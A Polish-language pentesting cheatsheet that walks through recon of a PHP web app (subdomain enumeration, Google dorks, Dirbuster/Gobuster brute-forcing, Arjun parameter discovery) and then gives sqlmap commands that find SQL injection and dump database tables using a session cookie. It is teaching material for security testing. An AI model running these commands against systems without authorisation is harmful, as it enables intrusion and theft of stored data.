Szybki #pwn-ing aplikacji webowej. Artykuł ten może służyć jako cheatsheet do testów penetracyjnych aplikacji webowej napisanej w języku PHP. Skupiony jest głównie na poszukiwaniu podatności typu SQL-injection z wykorzystaniem gotowych narzędzi, ale niektóre jego elementy przy delikatnej modyfikacji mogą znaleźć zastosowanie w innych przypadkach. Na chwilę obecną nie zamierzam również dokładnie opisywać działania wszystkich użytych narzędzi, być może w przyszłości artykuł zostanie rozbity na mniejsze, bardziej szczegółowe części. Tymczasem, przejdźmy do sedna.
Załóżmy że celem naszych testów będzie domena example.com
Zbieranie informacji o subdomenach:
https://dnsdumpster.com
Podajemy nazwę domeny w celu wyszukania rekordów DNS. Zapisujemy zwrócone Host Records (A) które będą nam potrzebne do dalszej analizy.
https://crt.sh
Strona crt.sh pozwala wyszukać zarejestrowane certyfikaty dla danej domeny. Przy użyciu wildcard-a możemy także wyszukać subdomeny.
%.example.com
dnsenum -
Link: https://github.com/fwaeytens/dnsenum
dnsenum example.com -f /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --threads 50
Google dorks:
Przy pomocy wyszukiwarki google możemy znaleźć wiele informacji przydatnych podczas pentestów, przykładowo:
Pliki PHP
site:example.com inurl:php
parametry HTTP
inurl:example.com/index.php
Jeżeli powyższy dork zwraca dużą ilosć wyników możemy go ogarniczyć poprzez usunięcie z wyników niechcianych ciągów znaków.
inurl:example.com/index.php -id
Pozwoli nam to na łatwiejsze odnalezienie pozostałych parametrów HTTP.
Foldery z włączonym listowaniem plików
site:example.com title:Index of
site:example.com Parent Directory
Kopie bezpieczeństwa
site:example.com backup
Brutforce contentu strony:
Dirbuster - korzystamy z GUI
Preinstalowany w dystrybucji Kali Linux https://tools.kali.org/web-applications/dirbuster
Dirbuster pozwoli nam na znalezienie zamieszczonych na serwerze www folderów i plików. Najbardziej interesują nas te z rozszerzeniem *.php Warto jednak przejrzeć wszystkie znaleziska. Podczas przeprowadzanych przeze mnie testów bezpieczeństwa zdarzyły się sytuacje gdzie folder odnaleziony pod adresem http://example.com/backup zawierał backup bazy danych lub kodu aplikacji. Często możemy się również natknąć podatność typu Full Path Disclosure.
target url: https://example.com Jako target możemy również wybrać wszystkie subdomeny znalezione poprzez opisane wcześniej metody. Słownik - /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt zaznaczamy checkboxy - Brute Force Dirs, Be Recursive, Brute Force Files File extension: php
Czasem zdarza się że WAF/IDS/IPS nie pozwoli nam na jednoczesny bruteforce plików i katalogów, w takiej sytuacji możemy spróbować przeprowadzić dwa oddzielne testy. W ustawieniach narzędzia warto również zmienić domyślny nagłówek Http User Agent. W tym celu wybieramy Options > Advanced Options > Http Options
Gobuster
Podobnie jak Dirbuster pozwala nam bruteforce zawartości serwera www. Nie posiada on jednak GUI
Link: https://github.com/OJ/gobuster
gobuster dir -u https://example.com/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -t 50 -x php
Arjun
Link: https://github.com/s0md3v/Arjun
Arjun pomaga nam dowiedzieć się jakie parametry HTTP mogą być przekazywane do aplikacji webowej. Załóżmy sytuację w której za pomocą Google dorks znaleźliśmy adres https://example.com/index.php. Nie znając zawartości pliku index.php nie wiemy jakie parametry może przyjmować.
python3 arjun.py -u https://example.com/index.php
Znalezione w ten sposób parametry można później wykorzystać przy szukaniu podatności typu XSS lub SQL-injection.
Do tej pory powinniśmy zebrać informacje takie jak:
Subdomeny:
subdomain1.example.com subdomain2.example.com (…).example.com
Pliki php umieszczone na serwerach www:
http://example.com/index.php https://domain2.example.com/posts.php
Parametry HTTP przekazywane do aplikacji webowej.
http://example.com/index.php?id=2 https://domain2.example.com/posts.php?name=test
Do wyszukania podatności SQL-i wykorzystamy narzędzie
sqlmap
https://github.com/sqlmapproject/sqlmap
sqlmap -u "http://example.com/index.php?id=2" --random-agent --dbs --batch
Jeżeli testujemy aplikację w kontekscie zalogowanego użytkownika do komendy należy dodać jego ciasteczka.
sqlmap -u "http://example.com/index.php?id=2" --random-agent --dbs --batch --cookies="PHPSESSID=oikbs8qcic2omf5gnd09kihsm7"
Przy znalezionej podatności opcja –dbs pozwoli nam pobrać nazwy baz danych. Listujemy tabele wybranej bazy danych poprzez opcję –tables
sqlmap -u "http://example.com/index.php?id=2" --random-agent --batch -D NAZWABAZYDANYCH --tables --cookies="PHPSESSID=oikbs8qcic2omf5gnd09kihsm7"
Następnie za pomocą opcji –columns wyświetlamy nazwy kolumn.
sqlmap -u "http://example.com/index.php?id=2" --random-agent --batch -D NAZWABAZYDANYCH -T NAZWATABELI --columns --cookies="PHPSESSID=oikbs8qcic2omf5gnd09kihsm7"
Znamy już nazwy tabel oraz zawartych w nich kolumn, aby pobrać ich zawartość wykonujemy polecenie:
sqlmap -u "http://example.com/index.php?id=2" --random-agent --batch -D NAZWABAZYDANYCH -T NAZWATABELI -C NAZWAKOLUMNY1,NAZWAKOLUMNY2 --dump --cookies="PHPSESSID=oikbs8qcic2omf5gnd09kihsm7"